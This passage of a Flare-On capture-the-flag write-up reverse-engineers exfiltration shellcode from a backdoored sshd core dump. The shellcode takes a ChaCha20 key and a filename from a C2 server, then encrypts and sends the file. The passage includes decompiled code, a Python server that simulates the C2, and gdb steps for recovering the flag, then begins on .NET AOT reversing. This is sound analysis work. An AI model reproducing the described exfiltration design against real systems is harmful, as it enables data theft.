  puVar5 = (undefined4 *)(in_RAX + 0xa4);
  curr_dword = get_dword();
  *puVar5 = curr_dword;
  puVar5 = (undefined4 *)(in_RAX + 0xa8);
  curr_dword = get_dword();
  *puVar5 = curr_dword;
  puVar5 = (undefined4 *)(in_RAX + 0xac);
  curr_dword = get_dword();
  *puVar5 = curr_dword;
  *(undefined4 *)(in_RAX + 0xb0) = 0;
  puVar5 = (undefined4 *)(in_RAX + 0xb4);
  curr_dword = get_dword();
  *puVar5 = curr_dword;
  puVar5 = (undefined4 *)(in_RAX + 0xb8);
  curr_dword = get_dword();
  *puVar5 = curr_dword;
  puVar5 = (undefined4 *)(in_RAX + 0xbc);
  curr_dword = get_dword();
  *puVar5 = curr_dword;
  puVar2 = (undefined *)(in_RAX + 0x68);
  for (lVar1 = 0xc; lVar1 != 0; lVar1 = lVar1 + -1) {
    *puVar2 = *param_4;
    param_4 = param_4 + (ulong)bVar4 * -2 + 1;
    puVar2 = puVar2 + (ulong)bVar4 * -2 + 1;
  }
  return;
}

Before we analyze this function more deeply, we’ll analyze get_dword (my name for the function), which is used many times throughout the function:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
                             **************************************************************

                             *                          FUNCTION                          *
                             **************************************************************
                             undefined get_dword()
             undefined         AL:1           <RETURN>
                             get_dword                                       
PUSH       RBP
MOV        RBP,RSP
MOV        RCX,RAX
XOR        R8D,R8D
MOV        AL,byte ptr [RCX]
MOVZX      EAX,AL
SHL        EAX,0x0
OR         R8D,EAX
MOV        EAX,R8D
MOV        RDX,RCX
ADD        RDX,0x1
MOV        DL,byte ptr [RDX]
MOVZX      EDX,DL
SHL        EDX,0x8
OR         EAX,EDX
MOV        RDX,RCX
ADD        RDX,0x2
MOV        DL,byte ptr [RDX]
MOVZX      EDX,DL
SHL        EDX,0x10
OR         EAX,EDX
ADD        RCX,0x3
MOV        CL,byte ptr [RCX]
MOVZX      ECX,CL
SHL        ECX,0x18
OR         EAX,ECX
LEAVE
RET

The function begins by moving the value currently in rax to rcx, and zeroing r8d. It then moves the first byte pointed to by rcx to al, shifts it left by 0 bytes (a no-op), and ORs the result with r8d:

1
2
3
4
5
6
MOV        RCX,RAX
XOR        R8D,R8D
MOV        AL,byte ptr [RCX]
MOVZX      EAX,AL
SHL        EAX,0x0
OR         R8D,EAX

After this, it ORs r8d with the next byte pointed to by rcx, shifted left by 8 bytes:

1
2
3
4
5
6
7
MOV        EAX,R8D
MOV        RDX,RCX
ADD        RDX,0x1
MOV        DL,byte ptr [RDX]
MOVZX      EDX,DL
SHL        EDX,0x8
OR         EAX,EDX

We can notice a pattern by now, we OR the value currently in r8d with bytes pointed to by rcx, shifted left by multiples of 8. This is done two more times. For example, if rcx points to the bytes 0x12 0x34 0x56 0x78, the function would return 0x78563412. In other words, this function returns the 4 bytes pointed to by rcx as a little-endian integer. Getting back to FUN_00000a93, we notice the following interesting part:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
...
lVar1 = 0xf85;
puVar5 = (undefined4 *)(in_RAX + 0x80);
curr_dword = get_dword(puVar5,0xf85);
*puVar5 = curr_dword;
puVar5 = (undefined4 *)(in_RAX + 0x84);
curr_dword = get_dword();
*puVar5 = curr_dword;
puVar5 = (undefined4 *)(in_RAX + 0x88);
curr_dword = get_dword();
*puVar5 = curr_dword;
puVar5 = (undefined4 *)(in_RAX + 0x8c);
curr_dword = get_dword(puVar5,lVar1 + 0xc);
*puVar5 = curr_dword;
...

The disassembly of the first call to get_dword looks like this:

1
2
3
4
5
6
7
8
LEA        RSI=>s_expand_32-byte_K_00000f85,[RAX]
MOV        RAX,RBX
LEA        RAX,[RAX + 0x80]
MOV        RDI,RAX
ADD        RDI,0x0
MOV        RAX,RSI
ADD        RAX,0x0
CALL       get_dword

In other words, it calls get_dword on the constant defined in the address 0xf85:

expand_32_byte_K.png

That’s interesting! A quick google search for this constant leads us to articles related to the Salsa20 cipher. From the Wikipedia page on Salsa20:

salsa20_state.png

After each call to get_dword, the return value is stored in the address pointed to by RDI:

1
2
3
4
5
6
7
CALL       get_dword                             
// Store return value in RDI
MOV        dword ptr [RDI],EAX
...
// Go to the next 4 bytes of RDI
ADD        RDI,0x4
...

This pattern repeats itself all throughout the function. If so, after the first 4 calls to get_dword, which are done on the constant expand 32-byte K, the first 16 bytes in RDI will be expand 32-byte K. This doesn’t really match with the above figure from Wikipedia, which shows this constant appearing along the diagonal of the state. If we scroll down, however, we see the following figure under the Chacha20 section, which is another cipher, based on Salsa20:

chacha20_state.png

This looks more similar to what we have in our function, except that the k in “expand 32-byte k” is uppercase and not lowercase. After this, we have 11 more such get_dword-assignment to RDI calls: the first 8 are for the first buffer (first_recvfrom_buf), and the other 3 are for the second buffer (second_recvfrom_buf). Recall that first_recvfrom_buf contains 32 bytes, and second_recvfrom_buf contains 12 bytes. This is similar, but not completely the same, to the ChaCha figure (where the nonce is only 8 bytes)! This might suggest that first_recvfrom_buf is the key, and that second_recvfrom_buf is the nonce! Scrolling down more, we see the following figure for the state of ChaCha20 as per RFC 7539:

chacha20_state_rfc.png

In this state, the nonce is also 12 bytes (though the k is still lowercase), further supporting our thesis. We’ll change the name of FUN_00000a93 to setup_chacha20_state. Back in process_file, the function does some modifications on the state, but this is not very important to us:

1
2
3
4
5
6
7
8
*(int *)(in_RAX + 0xb0) = (int)in_R8;
piVar4 = (int *)(in_RAX + 0xb4);
iVar1 = get_dword();
*piVar4 = iVar1 + (int)((ulong)in_R8 >> 0x20);
*(undefined8 *)(in_RAX + 0x78) = in_R8;
*(undefined8 *)(in_RAX + 0x40) = 0x40;

return;

In main, we see a call to another function (I’m showing the disassembly since Ghidra doesn’t show the correct arguments in the decompilation):

1
2
3
4
5
CALL       process_file                           
LEA        RAX=>local_e8,[RBP + -0xc0]
LEA        RDX=>third_recvfrom_buf,[RBP + -0x1148]
MOV        ECX,dword ptr [RBP + file_length]
CALL       FUN_00000d49

Note that rbx still contains a pointer to the state set up by setup_chacha20_state, since it wasn’t changed since that function was called. The decompilation of FUN_00000d49 is shown below.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
void FUN_00000d49(undefined8 param_1,undefined8 param_2,long param_3,ulong param_4)

{
  long in_RAX;
  ulong uVar1;
  long lVar2;
  
  lVar2 = in_RAX;
  for (uVar1 = 0; uVar1 < param_4; uVar1 = uVar1 + 1) {
    if (0x3f < *(ulong *)(lVar2 + 0x40)) {
      FUN_000000a2();
      *(undefined8 *)(lVar2 + 0x40) = 0;
    }
    *(byte *)(param_3 + uVar1) =
         *(byte *)(param_3 + uVar1) ^ *(byte *)(in_RAX + *(long *)(lVar2 + 0x40));
    *(long *)(lVar2 + 0x40) = *(long *)(lVar2 + 0x40) + 1;
  }
  return;
}

Note that param_4 is the length of the data read from the file. Inside the loop, after some condition is triggered, the function FUN_000000a2 is called. At the time of the call, rcx points to the file length, rdx points to the contents of the file, and rbx is the current number of iterations. The decompilation of this function is as follows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
uint FUN_000000a2(void)

{
  uint uVar1;
  uint *in_RAX;
  int num_round;
  uint *puVar2;
  
  for (i = 0; i < 0x10; i = i + 1) {
    in_RAX[i] = in_RAX[(long)i + 0x20];
  }
  for (i = 0; i < 10; i = i + 1) {
    *in_RAX = *in_RAX + in_RAX[4];
    puVar2 = in_RAX + 0xc;
    uVar1 = FUN_00000f6a(puVar2,i,0x10,in_RAX[0xc] ^ *in_RAX);
    *puVar2 = uVar1;
    in_RAX[8] = in_RAX[8] + in_RAX[0xc];
    puVar2 = in_RAX + 4;
    uVar1 = FUN_00000f6a();
    *puVar2 = uVar1;
    *in_RAX = *in_RAX + in_RAX[4];
    puVar2 = in_RAX + 0xc;
    uVar1 = FUN_00000f6a();
    *puVar2 = uVar1;
    in_RAX[8] = in_RAX[8] + in_RAX[0xc];
    puVar2 = in_RAX + 4;
    uVar1 = FUN_00000f6a();
    ...
    // Many more such blocks, with different offsets
  }
for (i = 0; num_round < 0x10; i = i + 1) {
    in_RAX[num_round] = in_RAX[num_round] + in_RAX[(long)num_round + 0x20];
  }
  uVar1 = in_RAX[0x2c];
  if (uVar1 == 0) {
    uVar1 = in_RAX[0x2d];
  }
  return uVar1;
}

The function FUN_00000f6a rotates a 32-bit number, so we’ll rename it to rotl:

1
2
3
4
5
6
7
uint rotl(undefined8 param_1,undefined8 param_2,byte param_3)

{
  uint in_EAX;
  
  return in_EAX << (param_3 & 0x1f) | in_EAX >> (0x20 - param_3 & 0x1f);
}

If we look at an RFC 7539-compliant implementation of ChaCha20, such as this one, we see some very similar code to the one in the previous function. This lines up with our previous hypothesis that the algorithm used is ChaCha20, so we’ll treat FUN_000000a2 as a ChaCha20 encryption/decryption function (in ChaCha20 encryption is the same as decryption): chacha20_crypt. In FUN_00000d49, chacha20_crypt is called on some data, but as we’ll see in a moment, the exact data doesn’t really matter. The output of chacha20_crypt is XORed with the data that was read from the file:

1
2
3
4
5
6
7
8
9
10
11
12
13
void FUN_00000d49(undefined8 param_1,undefined8 param_2,long param_3,ulong param_4)
{
  for (uVar1 = 0; uVar1 < param_4; uVar1 = uVar1 + 1) {
    if (0x3f < *(ulong *)(lVar2 + 0x40)) {
      FUN_000000a2();
      *(undefined8 *)(lVar2 + 0x40) = 0;
    }
    // <--- Here
    *(byte *)(param_3 + uVar1) =
         *(byte *)(param_3 + uVar1) ^ *(byte *)(in_RAX + *(long *)(lVar2 + 0x40));
  }
  return;
}

This function therefore encrypts the contents of the file that was read from in main, with the ChaCha20 cipher set up with the key and nonce from the first and second recvfrom’s, respectively. In main, after the call to FUN_00000d49, we have another syscall:

1
2
3
4
5
6
7
8
9
10
LEA        RSI=>file_length,[RBP + -0xc4]
PUSH       0x2c
POP        RAX
MOV        EDI,EBX
PUSH       0x4
POP        RDX
XOR        R10D,R10D
XOR        R8D,R8D
XOR        R9D,R9D
SYSCALL

Sending the encrypted file

This time the syscall is sendto (0x2c). The file descriptor is specified in edi (by dynamically debugging, we see that the file descriptor is the socket that was created earlier). The data to be sent is specified on RSI, and is the length of the file that was read from (in bytes). RDX specifies that the number of bytes to be sent is 4 (which makes sense, since we’re sending a 32-bit integer). All the other arguments are flags, and are zeroed in this case. Next, we have another sendto syscall, this time sending the contents of third_recvfrom_buf (that were encrypted earlier) to the same socket. Finally, there are two function calls that (1) close the file that was opened and (2) shutdown the socket, but they are not very interesting, so I didn’t include them in the writeup. This was a lot! Let’s do a recap of the shellcode’s logic:

  • It begins by opening a TCP socket and connecting to 10.0.2.15 on port 1337

  • It then uses the recvfrom syscall on the socket to get four values from the server:

  • A key for ChaCha20 (32 bytes), stored in first_recvfrom_buf

  • The nonce for ChaCha20 (12 bytes), stored in second_recvfrom_buf

  • The length of the filename

  • The filename

  • The shellcode the opens the file with the name received from the server, reads 0x80 bytes from it, and encrypts its contents using RFC 7539-compliant ChaCha20 (with some slight modifications, namely using the constant “expand 32-byte K” instead of “expand 32-byte k”)

  • It then sends the server two things:

  • The length of the file, as a 32-bit integer

  • The encrypted contents of the file

  • Finally, it shuts down the socket, and closes the file

    Recovering the stolen data from the core dump

    On a higher level, the attacker sends a filename to the program, gets the encrypted version of the file, and can decrypt it using their key. Our goal is probably to recover what file was sent over the network (the challenge’s description also hints towards this: “Do your part, random internet hacker, to help FLARE out and tell us what data they stole”) from the core dump. This time, we won’t need to reconstruct the encryption/decryption algorithm in C: if we recover the ciphertext, the key, and the nonce, we can just put the ciphertext in a file and have the shellcode decrypt it for us, using the nice property of ChaCha20 that encryption is identical to decryption. Our goal, therefore, is to recover the key, the nonce, and the ciphertext. But before we’ll do that, we’ll write a small Python server that simulates the C2 server used to talk with the program:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import time
import socket

HOST = "127.0.0.1"
PORT = 1337

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.bind((HOST, PORT))
    s.listen()
    conn, addr = s.accept()
    with conn:
        key = None
        nonce = None

        with open("./solve/key_dump.bin", "rb") as f:
            key = f.read(0x20)

        with open("./solve/nonce_dump.bin", "rb") as f:
            nonce = f.read(12)

        # 32-byte key
        conn.sendall(key)
        time.sleep(0.2)
        # The nonce
        conn.sendall(nonce)
        time.sleep(0.2)
        conn.sendall(b"\x61\0\0\0")
        time.sleep(0.2)
        conn.sendall(b"solve/file_ciphertext.bin\0")
        length = conn.recv(4)
        data = conn.recv(int.from_bytes(length, byteorder="little"))
        print(f"Received length: {length}")
        print(f"Received data: {data}")

        with open("decrypted_data.bin", "wb") as f:
            f.write(data)

The program loads the file and the nonce from the files key_dump.bin and nonce_dump.bin (we’ll see how to get those files in a moment), sends them to the shellcode, sends 0x61 as the length of the filename, and specifies file_ciphertext.bin as the file to encrypt/decrypt. It then prints the data it received from the server. Now, let’s see how to get those values. All the data we need is located in the core dump. We can find it by getting the location of a value used by the shellcode (e.g. the name of the file to encrypted), calculating the offset between this value and the data we need to recover, and then inspecting the memory at address of the name of the file + offset.

The filename

To find the name of the file, we’ll search for the character /. We’re only interesting on values on the stack, since that’s where the shellcode stores all data that’s relevant to us:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
pwndbg> search "/" stack  
Searching for value: '/'  
[stack]         0x7ffcc66002c0 0x8000000062696c2f /* '/lib' */  
[stack]         0x7ffcc6600c18 '/root/certificate_authority_signing_key.txt'  
[stack]         0x7ffcc6600c1d '/certificate_authority_signing_key.txt'  
[stack]         0x7ffcc6601ec2 0x582c7cd703ae8b2f  
[stack]         0x7ffcc6601ef2 0x8b9f505e2d16722f  
[stack]         0x7ffcc6602509 0xa000007f4a18e52f  
[stack]         0x7ffcc6602bd0 0x2f2f2f2f2f2f2f2f ('////////')  
[stack]         0x7ffcc6602bd1 0x2f2f2f2f2f2f2f2f ('////////')  
[stack]         0x7ffcc6602bd2 0x2f2f2f2f2f2f2f2f ('////////')  
[stack]         0x7ffcc6602bd3 0x2f2f2f2f2f2f2f2f ('////////')  
[stack]         0x7ffcc6602bd4 0x2f2f2f2f2f2f2f2f ('////////')  
[stack]         0x7ffcc6602bd5 0x2f2f2f2f2f2f2f2f ('////////')  
[stack]         0x7ffcc6602bd6 0x2f2f2f2f2f2f2f2f ('////////')  
[stack]         0x7ffcc6602bd7 0x2f2f2f2f2f2f2f2f ('////////')  
[stack]         0x7ffcc6602bd8 0x2f2f2f2f2f2f2f2f ('////////')  
[stack]         0x7ffcc6602bd9 0xc02f2f2f2f2f2f2f  
[stack]         0x7ffcc6602bda 0xafc02f2f2f2f2f2f  
[stack]         0x7ffcc6602bdb 0x61afc02f2f2f2f2f  
[stack]         0x7ffcc6602bdc 0x1961afc02f2f2f2f  
[stack]         0x7ffcc6602bdd 0x4a1961afc02f2f2f  
[stack]         0x7ffcc6602bde 0x7f4a1961afc02f2f  
[stack]         0x7ffcc6602bdf 0x7f4a1961afc02f  
[stack]         0x7ffcc6603fe9 '/usr/sbin/sshd'  
[stack]         0x7ffcc6603fed '/sbin/sshd'  
[stack]         0x7ffcc6603ff2 0x646873732f /* '/sshd' */

The second result, /root/certificate_authority_signing_key.txt, looks very promising!

Recovering the key, nonce, & ciphertext

Now for the second part of our plan: calculating the offsets. In the Python server, we’ll temporarily set the key and nonce to some recognizable values (e.g. AAAA… and BBBB…), and the filename to /root/certificate_authority_signing_key.txt, as such:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import time
import socket

HOST = "127.0.0.1"  # Standard loopback interface address (localhost)
PORT = 1337  # Port to listen on (non-privileged ports are > 1023)

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.bind((HOST, PORT))
    s.listen()
    conn, addr = s.accept()
    with conn:
        key = b"A"*32
        nonce = b"B"*12

        #with open("./solve/key_dump.bin", "rb") as f:
        #    key = f.read(0x20)

        #with open("./solve/nonce_dump.bin", "rb") as f:
        #    nonce = f.read(12)

        print(f"key={key}")
        print(f"nonce={nonce}")

        # 32-byte key
        conn.sendall(key)
        time.sleep(0.2)
        # The nonce
        conn.sendall(nonce)
        time.sleep(0.2)
        conn.sendall(b"\x61\0\0\0")
        time.sleep(0.2)
        #conn.sendall(b"solve/file_ciphertext.bin\0")
        conn.sendall(b"/root/certificate_authority_signing_key.txt\0")
        length = conn.recv(4)
        data = conn.recv(int.from_bytes(length, byteorder="little"))
        print(f"Received length: {length}")
        print(f"Received data: {data}")

        #with open("decrypted_data.bin", "wb") as f:
        #    f.write(data)

Let’s start the server, and run the wrapper around the shellcode, breaking right after the shellcode is called. Searching for the filename, we see:

1
2
3
pwndbg> search "/root/certificate_authority_signing_key.txt"
Searching for value: '/root/certificate_authority_signing_key.txt'
[stack]         0x7fffffffcd48 '/root/certificate_authority_signing_key.txt'

Nice! Now let’s search for our key:

1
2
3
4
5
pwndbg> search AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Searching for value: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
[stack]         0x7fffffffcd18 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBB'
[stack]         0x7fffffffdf18 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBB'
[stack]         0x7fffffffdf60 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'

And the nonce:

1
2
3
4
5
pwndbg> search BBBBBBBBBBBB
Searching for value: 'BBBBBBBBBBBB'
[stack]         0x7fffffffcd38 'BBBBBBBBBBBB'
[stack]         0x7fffffffdf38 'BBBBBBBBBBBB'
[stack]         0x7fffffffdf84 0x4242424242424242 ('BBBBBBBB')

Looks good! Let’s calculate the offsets:

1
2
3
4
5
6
pwndbg> # Key offset
pwndbg> p/x 0x7fffffffcd18 - 0x7fffffffcd48
$3 = -0x30
pwndbg> # Nonce offset
pwndbg> p/x 0x7fffffffcd38 - 0x7fffffffcd48
$4 = -0x10

Nice! The key is located 0x30 bytes before the filename, and the nonce is located 0x10 bytes before the filename. To find the ciphertext, we’ll write some data, for example “HELLOHELLO” to the file /root/certificate_authority_signing_key.txt, and search for the ciphertext received by the server on the stack. The output from the server is:

1
2
3
4
key=b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
nonce=b'BBBBBBBBBBBB'
Received length: b'\x0b\x00\x00\x00'
Received data: b'\x1b\xcb\xc8\xc4\x13E\xabL\xf9w\xc4'

Let’s search for it on the stack:

1
2
3
pwndbg> search -t bytes -x "1bcbc8c4"
Searching for value: b'\x1b\xcb\xc8\xc4'
[stack]         0x7fffffffd2e8 0x4cab4513c4c8cb1b

Great! The only thing we need to do now is calculate the offset between this and the file name (the address of the filename is different since this is a different run of the shellcode):

1
2
pwndbg> p/x 0x7fffffffd2e8 - 0x7fffffffd1e8
$1 = 0x100

The ciphertext is located 0x100 bytes past the filename. Now we have all we need to dump the data and decrypt the file! Again, we’ll do this using the dump command in gdb on the coredump:

1
2
3
4
pwndbg> # 0x7ffcc6600c18 is the address of the filename
pwndbg> dump binary memory key.bin 0x7ffcc6600c18-0x30 0x7ffcc6600c18-0x30+32  
pwndbg> dump binary memory ciphertext.bin 0x7ffcc6600c18+0x100 0x7ffcc6600c18+0x100+0x30  
pwndbg> dump binary memory nonce.bin 0x7ffcc6600c18-0x10 0x7ffcc6600c18-0x10+12

Note that since we don’t know the exact length of the file, we just dump 0x30 bytes. Let’s hexdump these files:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ hexdump -C key.bin | head
00000000  8d ec 91 12 eb 76 0e da  7c 7d 87 a4 43 27 1c 35  |.....v..|}..C'.5|
00000010  d9 e0 cb 87 89 93 b4 d9  04 ae f9 34 fa 21 66 d7  |...........4.!f.|
00000020
$ hexdump -C nonce.bin | head
00000000  11 11 11 11 11 11 11 11  11 11 11 11              |............|
0000000c
$ hexdump -C ciphertext.bin | head
00000000  a9 f6 34 08 42 2a 9e 1c  0c 03 a8 08 94 70 bb 8d  |..4.B*.......p..|
00000010  aa dc 6d 7b 24 ff 7f 24  7c da 83 9e 92 f7 07 1d  |..m{$..$|.......|
00000020  02 63 90 2e c1 58 00 00  d0 b4 58 6d b4 55 00 00  |.c...X....Xm.U..|
00000030  20 ea 78 19 4a 7f 00 00  d0 b4 58 6d b4 55 00 00  | .x.J.....Xm.U..|
00000040  30 d1 77 19 4a 7f 00 00  f0 cb 77 19 4a 7f 00 00  |0.w.J.....w.J...|
00000050  e0 2a 01 19 4a 7f 00 00  00 20 01 19 4a 7f 00 00  |.*..J.... ..J...|
00000060  d0 0a 7b 19 4a 7f 00 00  ac f8 18 43 c6 70 80 96  |..{.J......C.p..|
00000070  ac f8 4c a6 e9 cd ed 97  00 00 00 00 4a 7f 00 00  |..L.........J...|
00000080

Great! Now there’s only one way to find out if it worked. Let’s point the Python server to use these files (I moved the files to a directory called solve and changed their names slightly):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import time
import socket

HOST = "127.0.0.1"  # Standard loopback interface address (localhost)
PORT = 1337  # Port to listen on (non-privileged ports are > 1023)

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.bind((HOST, PORT))
    s.listen()
    conn, addr = s.accept()
    with conn:
        key = None
        nonce = None

        with open("./solve/key_dump.bin", "rb") as f:
            key = f.read(0x20)

        with open("./solve/nonce_dump.bin", "rb") as f:
            nonce = f.read(12)

        print(f"key={key}")
        print(f"nonce={nonce}")

        # 32-byte key
        conn.sendall(key)
        time.sleep(0.2)
        # The nonce
        conn.sendall(nonce)
        time.sleep(0.2)
        conn.sendall(b"\x61\0\0\0")
        time.sleep(0.2)
        conn.sendall(b"solve/file_ciphertext.bin\0")
        length = conn.recv(4)
        data = conn.recv(int.from_bytes(length, byteorder="little"))
        print(f"Received length: {length}")
        print(f"Received data: {data}")

        with open("decrypted_data.bin", "wb") as f:
            f.write(data)

Running the server in one terminal and the shellcode wrapper in a different one, we see:

1
2
3
4
key=b"\x8d\xec\x91\x12\xebv\x0e\xda|}\x87\xa4C'\x1c5\xd9\xe0\xcb\x87\x89\x93\xb4\xd9\x04\xae\xf94\xfa!f\xd7"
nonce=b'\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11'
Received length: b'&\x00\x00\x00'
Received data: b'supp1y_cha1n_sund4y@flare-on.com\n\x86Xm\xb4U'

We finally got the flag! Here’s a recap of everything we’ve done:

  • Found a core dump of the SSH daemon by searching for files with sshd in their names

  • Analyzed it and found a backdoor in the liblzma library, more specifically in a function that calls RSA_public_decrypt, a-la the Jia Tan incident in April of this year

  • We found that the backdoor calls an encrypted shellcode, and we decrypted it by finding the ciphertext in the core dump, and by reconstructing the key generation algorithm and the decryption function in C

  • We analyzed the decrypted shellcode, and found that it communicates with a C2 server. The attacker sends a filename, a ChaCha20 key, and a ChaCha20 nonce

  • The shellcode then encrypts the file specified by the attacker, and sends it to the attacker over the network

  • We found the key, nonce, and ciphertext in the core dump by simulating the C2 server, running the shellcode, and calculating the offsets in gdb

  • Finally, using our C2 simulation, we used the nice property of ChaCha20 that encryption is the same as decryption, and decrypted the file, getting the flag This was an extremely fun challenge to solve. I learned a lot from solving it - all of the stages were put together very well, and solving each stage felt very rewarding. I especially liked how to decrypt the file with the flag, we didn’t actually have to reconstruct the encryption algorithm, and could just exploit a property of ChaCha20 and have the shellcode decrypt the flag for us. Overall, this was the second hardest challenge out of the ones I solved, and also my second favorite one.

    Challenge 6 - bloke2

    TODO

    Challenge 7 - fullspeed

    In this challenge, we are presented with a ~2MB PE binary fullspeed.exe, and a PCAP capture.pcapng. The data in the PCAP appears to be encrypted, so there’s no reason to touch it until we know how it was encrypted. If we run fullspeed.exe, it does not output anything, and doesn’t seem to respond to any input from stdin. Time to take a closer look.

    Static Analysis 1

    Opening the binary with Ghidra, we notice two suspicious sections: .managed and hydrated. A quick Google search reveals that these functions indicate that the binary is .NET AOT (Ahead-of-Time) compiled.

    What is AOT?

    In addition to being a popular Anime series, AOT is a feature introduced to the .NET runtime in .NET 6 (2021), allowing for a very different compilation process than the usual one. Unlike native languages (think C/C++) which are compiled into the assembly code we know and love, non-AOT .NET binaries are compiled into an intermediate language called the MSIL (Microsoft Intermediate Language). When we run a .NET binary, this intermediate language is JIT-compiled by the .NET runtime, and transformed into assembly instructions on the go. This approach makes regular .NET binaries architecture-independent: to run a .NET binary we only need to have the .NET runtime installed (and the binary format to match - we can’t real ELF binaries on Windows, for example). In other words, our .NET code is compiled down into MSIL, and the runtime handles the translation of that into native code (e.g. ARM or x86 assembly) for us. The translation will, of course, be different for any architecture, but the runtime abstracts this away for us. There’s a price for everything, however. First, The added step of JIT compilation makes our code slower than if it were just compiled into native code ahead of time, like C code. Additionally, we are limited to running our executable on machines that have the .NET runtime installed. The AOT component of .NET was introduced exactly to solve these two problems. To quote from the MSDN page on AOT: “ Publishing your app as Native AOT produces an app that’s self-contained and that has been ahead-of-time (AOT) compiled to native code. Native AOT apps have faster startup time and smaller memory footprints. These apps can run on machines that don’t have the .NET runtime installed.

The benefit of Native AOT is most significant for workloads with a high number of deployed instances, such as cloud infrastructure and hyper-scale services. .NET 8 adds ASP.NET Core support for native AOT.

The Native AOT deployment model uses an ahead-of-time compiler to compile IL to native code at the time of publish. Native AOT apps don’t use a just-in-time (JIT) compiler when the application runs. Native AOT apps can run in restricted environments where a JIT isn’t allowed. Native AOT applications target a specific runtime environment, such as Linux x64 or Windows x64, just like publishing a self-contained app. “ There’s not much to add here: instead of being JIT-compiled, the code is compiled directly into native code, which runs faster and isn’t restricted to systems that have the .NET runtime installed.

Reversing AOT

Typically, reversing .NET binaries is easier than reversing native code, since the MSIL includes a lot of metadata that allows decompilers, such as ILSpy, to reconstruct the original code almost perfectly. With AOT binaries, however, the process is much harder. Not only do we have to use native reversing tools like IDA or Ghidra, but since the binary is self-contained, it contains a ton (think 99% of functions) of library functions that aren’t detected by Ghidra. Without figuring out which functions are library functions and which ones are not, reversing the binary is pretty much impossible, since we’d have no way of knowing where we should focus our analysis (e.g. spending time to reverse a function, thinking it’s a custom function, when it’s just Console.WriteLine is time-wasting and not fun). This excellent article suggests the following approach to reverse AOT binaries:

  • Make a binary that uses as many library functions as possible (can be done with an LLM)

  • Compile it with AOT and get a PDB

  • Generate FLIRT signatures for all functions in the binary. FLIRT is a feature in IDA that can generate a signature for its function based on its code

  • The signatures can now be applied on new binaries

    Generating our own signatures

    I don’t have the pro version of IDA, so I can’t directly use the method shown in the article since it requires running IDA scripts. Instead, we’ll use the Ghidra version of this feature, which is called “Function IDs”. Before we start generating such binaries, we need to know which libraries the binary uses, so that we can match more functions. We’ll do this by running strings on the binary and grepping for dll:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
:BouncyCastle.Cryptography.dll,System.Private.CoreLib
4System.Private.CoreLib.dll
BSystem.Collections.Concurrent.dll
$System.Console.dllFSystem.Diagnostics.DiagnosticSource
NSystem.Diagnostics.DiagnosticSource.dll2System.Net.NameResolution
:System.Net.NameResolution.dll*System.Net.Primitives
2System.Net.Primitives.dll$System.Net.Sockets
,System.Net.Sockets.dllFSystem.Private.Reflection.Execution
NSystem.Private.Reflection.Execution.dllBSystem.Private.StackTraceMetadata
JSystem.Private.StackTraceMetadata.dll2System.Private.TypeLoader
:System.Private.TypeLoader.dll8System.Security.Cryptography
@System.Security.Cryptography.dll
fullspeed.dll
BCrypt.dll
ntdll.dll
Format of the executable (.exe) or library (.dll) is invalid
kernel32.dll
ADVAPI32.dll
bcrypt.dll
KERNEL32.dll
ole32.dll
WS2_32.dll
api-ms-win-crt-math-l1-1-0.dll
api-ms-win-crt-heap-l1-1-0.dll
api-ms-win-crt-string-l1-1-0.dll
api-ms-win-crt-convert-l1-1-0.dll
api-ms-win-crt-runtime-l1-1-0.dll
api-ms-win-crt-stdio-l1-1-0.dll
api-ms-win-crt-locale-l1-1-0.dll
fullspeed.dll
fullspeed.dll

After narrowing down this list, since it includes some irrelevant strings, we arrive at the following list of dlls:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
BouncyCastle.Cryptography.dll
System.Security.Cryptography.dll
api-ms-win-crt-math-l1-1-0.dll
api-ms-win-crt-heap-l1-1-0.dll
api-ms-win-crt-string-l1-1-0.dll
api-ms-win-crt-convert-l1-1-0.dll
api-ms-win-crt-runtime-l1-1-0.dll
api-ms-win-crt-stdio-l1-1-0.dll
api-ms-win-crt-locale-l1-1-0.dll
fullspeed.dll
kernel32.dll
ADVAPI32.dll
bcrypt.dll
KERNEL32.dll
BCrypt.dll
ntdll.dll
ole32.dll
WS2_32.dll

I’ve had ChatGPT generate some C# programs that use some of these DLLs, and additional C# features such as string operations and collections. Asking it to generate one binary with all of these DLLs and features didn’t work well, so I split it into multiple binaries. The programs it generated can be found in this folder in the GitHub repo. To compile these programs, we use the following steps:

  • Run dotnet new console -aot -o <project name>

  • Copy the program code to Program.cs

  • Run dotnet publish The binary and the PEB can then be found at <project folder>/bin/Release/net8.0/<arch, e.g. win-x64>/publish. Now that we have the binary (the binary I’ll show in this example is named TestApp2.exe), we can make a Ghidra function ID database as follows:

  • Open the binary in Ghidra, and choose ‘don’t analyze’

dont_analyze.png

